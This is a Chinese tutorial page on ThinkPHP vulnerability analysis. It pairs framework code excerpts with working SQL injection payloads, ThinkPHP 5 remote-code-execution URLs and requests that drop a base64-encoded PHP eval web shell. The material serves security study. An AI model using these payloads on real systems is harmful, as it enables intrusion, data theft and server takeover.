资源介绍

主要讲解php框架的漏洞分析技术课程内容主要讲解thinkphp和Laravel

这两款市面上主流的PHP框架的漏洞分析.熟悉PHP框架内核的运行机制,

理解PHP框架漏洞产生的过程.本章深入讲解了TP和Laravel的漏洞机制,

让你快速入门框架的漏洞分析!

预览截图

PHP框架漏洞分析详解教程

thinkphp 漏洞分析

信息泄露
开启调试追踪
'SHOW_PAGE_TRACE'=>true,

1 日志信息泄露

http://www.tp3.com/Application/Runtime/Logs/Home/19_05_24.log

ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,如果debug模式不关,可直接输入路径造成目录遍历。
ThinkPHP3.2结构:ApplicationRuntimeLogsHome17_07_22.log
ThinkPHP3.1结构:RuntimeLogsHome17_07_22.log
可以看到是 :项目名RuntimeLogsHome年份_月份_日期.log
这样的话日志很容易被猜解到,而且日志里面有执行SQL语句的记录。

2 缓存信息泄露
F方法
S方法

thinkdata

确定网站框架
cms 指纹识别 || 黑盒测试
框架指纹识别
/?c=4e5e5d7364f443e28fbf0d3ae744a59a
/ThinkPHP/logo.png

2 数据库内核分析
$data = array();
$data['username'] = $_POST['username'];
$data['password'] = $_POST['password'];
$data = M('users')->where($data)->find();
dump($data);

报错注入
1=(updatexml(1,concat(0x3a,(user())),1))%23

SELECT * FROM `users` WHERE `username` = 'admin' LIMIT 1

admin'

'admin''

http://www.tp3.com/index.php/home/index/index?username[0]=exp&username[1]==%27admin%27

parseWhereItem

`username` ='admin''

SELECT * FROM `users` WHERE `username` ='admin'' LIMIT 1

http://www.tp3.com/index.php/home/index/index?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23

'exp' == $exp

$exp = 'exp '
'exp' = 'exp '

3 update注入

http://www.tp3.com/index.php/home/index/index?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123111

and 1=(updatexml(1,concat(0x3a,(user())),1))%23

UPDATE `users` SET `password`='123456' WHERE `username` = :99

UPDATE `users` SET `password`='123456' WHERE `username` = '123456' [ RunTime:0.0010s ]

UPDATE `users` SET `password`='123456' WHERE `username` = '123456' and 1=(updatexml(1,concat(0x3a,(user())),1))#

exp
http://www.tp3.com/index.php/home/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456

漏洞分析
$result = $this->db->update($data,$options);

$sql = 'UPDATE ' . $table . $this->parseSet($data);

$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);

`username` = :0 and 1=(updatexml(1,concat(0x3a,(user())),1))#

UPDATE `users` SET `password`='123456' WHERE `username` = '123456' and 1=(updatexml(1,concat(0x3a,(user())),1))#

$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';

 

4 find(),select(),delete() 注入

exp:
id[table]=users where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

http://www.tp3.com/index.php/home/index/index?id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1

分析一下
//处理 漏洞修复的话
$options = $this->_parseOptions($options);

SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1

5 order by 注入
order[updatexml(1,concat(0x3a,user()),1)]

http://www.tp3.com/index.php/home/index/index?username=admin&order[updatexml(1,concat(0x3a,user()),1)]

$username = I("username");
$order = I("order");
$data = M("users")->where(array("username"=>$username))->order($order)->find();
dump($data);

SELECT * FROM `users` WHERE `username` = '' LIMIT 1 [ RunTime:0.0000s ]

SELECT * FROM `users` WHERE `username` = 'admin' ORDER BY 1 LIMIT 1 [ RunTime:0.0000s ]

SELECT * FROM `users` WHERE `username` = 'aaa' ORDER BY 1 [ RunTime:0.0010s ]

SELECT * FROM `users` WHERE `username` = 'aaa' ORDER BY updatexml(1,concat(0x3a,user()),1) 1

SELECT * FROM `users` WHERE `username` = 'aaa' ORDER BY updatexml(1,concat(0x3a,user()),1)

exp

http://www.tp3.com/index.php/home/index/index?username=aaa&order[updatexml(1,concat(0x3a,user()),1)]

protected function parseOrder($order)

SELECT * FROM `users` WHERE `username` = 'aaa' ORDER BY updatexml(1,concat(0x3a,user()),1)

6 逻辑越权讲解

//自动完成是ThinkPHP提供用来完成数据自动处理和过滤的方法,使用create方法创建数据对象的时候会自动完成数据处理。
$User = D("User"); // 实例化User对象
if (!$User->create()){
// 创建数据对象
// 如果创建失败 表示验证没有通过 输出错误提示信息
exit($User->getError());
}
else{
// 验证通过 写入新增数据
$User->add();
}
INSERT INTO `users` (`username`,`password`,`level`) VALUES ('111','bcbe3365e6ac95ea2c0343a2395834dd','2') [ RunTime:0.0020s ]
username=111&password=222&level=1

7 tp5数据库内核分析

PDO预编译执行过程分三步:
prepare($SQL) 编译SQL语句
bindValue($param, $value) 将value绑定到param的位置上
execute() 执行

屏蔽 sql注入

SELECT * FROM `users` WHERE `id` = :where_id LIMIT 1

$sql = $this->builder->select($options);
$result = $this->query($sql, $bind, $options['master'], $options['fetch_pdo']);

parseWhereItem

`id` = :where_id

id=3

SELECT * FROM `users` WHERE `id` = :where_id LIMIT 1

filterValue
-----------------------

8 tp5 sql注入分析

$id = input('id/a');
$result = db("users")->where('id', 'in', $id)->select();
dump($result);

exp
id[0,updatexml(0,concat(0xa,user()),0)]=1
http://www.tp5.com/index.php/index/index/index?id[0,updatexml(0,concat(0xa,database()),0)]=1
http://www.tp5.com/index.php/index/index/index?id[0,updatexml(0,concat(0xa,user()),0)]=1
[ SQL ] SELECT * FROM `users` WHERE `id` IN (1,3) [ RunTime:0.001001s ]
0,updatexml(0,concat(0xa,user()),0)
PDO

$sql = $this->builder->select($options);
parseWhereItem
0,updatexml(concat(0xa,user()),0)
in(where_id_in_0,updatexml(0,concat(0xa,database()),0))
SELECT * FROM `users` WHERE `id` IN (:where_id_in_0,updatexml(0,concat(0xa,database()),0))

9 update/insert 注入

$level = input("level/a");
$data = db("users")->where("id","1")->update(["level"=>$level]);
dump($data);

level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1
报错
http://www.tp5.com/index.php/index/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x7,version(),0x7e),1)&level[2]=1

UPDATE `users` SET `level`=`level`+2 WHERE `id` = 1 [ RunTime:0.001000s ]
$data = db("users")->where("id","1")->update(["level"=>$level]);

http://www.tp5.com/index.php/index/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=2

$sql = $this->builder->update($data, $options);

UPDATE `users` SET `level`=updatexml(1,concat(0x7,version(),0x7e),1)+2 WHERE `id` = :where_id
UPDATE `users` SET `level`=updatexml(1,concat(0x7,version(),0x7e),1)+2 WHERE `id` = :where_id

10 聚合查询漏洞

$count = input('get.count');
$res = db('users')->count($count);
var_dump($res);

exp
id),(select sleep(5)),(username
id),(if(ascii(substr((select password from users where id=1),1,1))>130,0,sleep(3))),(username

SELECT COUNT(11) AS tp_count FROM `users` LIMIT 1
SELECT COUNT(id) AS tp_count FROM `users` LIMIT 1 [ RunTime:0.001000s ]

id),(select sleep(5)),(username

测试代码:
SELECT COUNT(id),(select sleep(5)),(username) AS tp_count FROM `users` LIMIT 1

$sql = $this->builder->select($options);

SELECT COUNT(id),(select sleep(5)),(username) AS tp_count FROM `users` LIMIT 1

id),(if(ascii(substr((select password from users where id=1),1,1))>130,0,sleep(3))),(username

id),
(if(ascii(substr((select password from users where id=1),
1,
1))>130,
0,
sleep(3))),
(username

SELECT COUNT(id),(if(ascii(substr((select password from users where id=1),'1',1))>130,0,sleep(3))),(username) AS tp_count FROM `users` LIMIT 1

SELECT COUNT(id),(if(ascii(substr((select password from users where id=1),`1`,1))>130,`0`,sleep(3))),(username) AS tp_count FROM `users` LIMIT 1

id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*9,sleep(3))),(username

Unknown column '1' in 'field list'

id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*9,sleep(3))),(username

SELECT COUNT(id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*9,sleep(3))),(username) AS tp_count FROM `users` LIMIT 1

11 RCE 漏洞分析

影响范围
5.x < 5.1.31
5.x < 5.0.23

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

exp:
http://www.tp5.com/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://www.tp5.com/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://www.tp5.com/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1211.php&vars[1][]=<?php @eval($_POST[x]);?>

http://www.tp5.com/index.php?s=captcha
_method=__construct&filter[]=system&method=get&get[]=ipconfig
_method=__construct&filter[]=system&method=get&get[]=type index.php

http://www.tp5.com/index.php
index.php?s=index/namespaceclass/method

_method=__construct&filter[]=assert&filter[]=file_put_contents('1010.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyd4J107ZXZhbCgkcGFzcyk7Pz4='))&server=-1

http://www.tp5.com/index.php
_method=__construct&filter[]=assert&method=get&get[]=file_put_contents('1010.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))&server=-1

_method=construct&filter[]=assert&filter[]=file_put_contents('1010.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))&server=-1

PD9waHAgJHBhc3M9JF9QT1NUWyd4J107ZXZhbCgkcGFzcyk7Pz4=

phpinfo
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
public static function invokeFunction($function, $vars = [])
{
$reflect = new ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);

// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);
}
call_user_func_array

args

vars[0]=system&vars[1][]=whoami

框架执行流程:
首先发起请求->开始路由检测->(获取pathinfo信息)->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束

//rce漏洞

 

PHP daimashenji

发表回复

后才能评论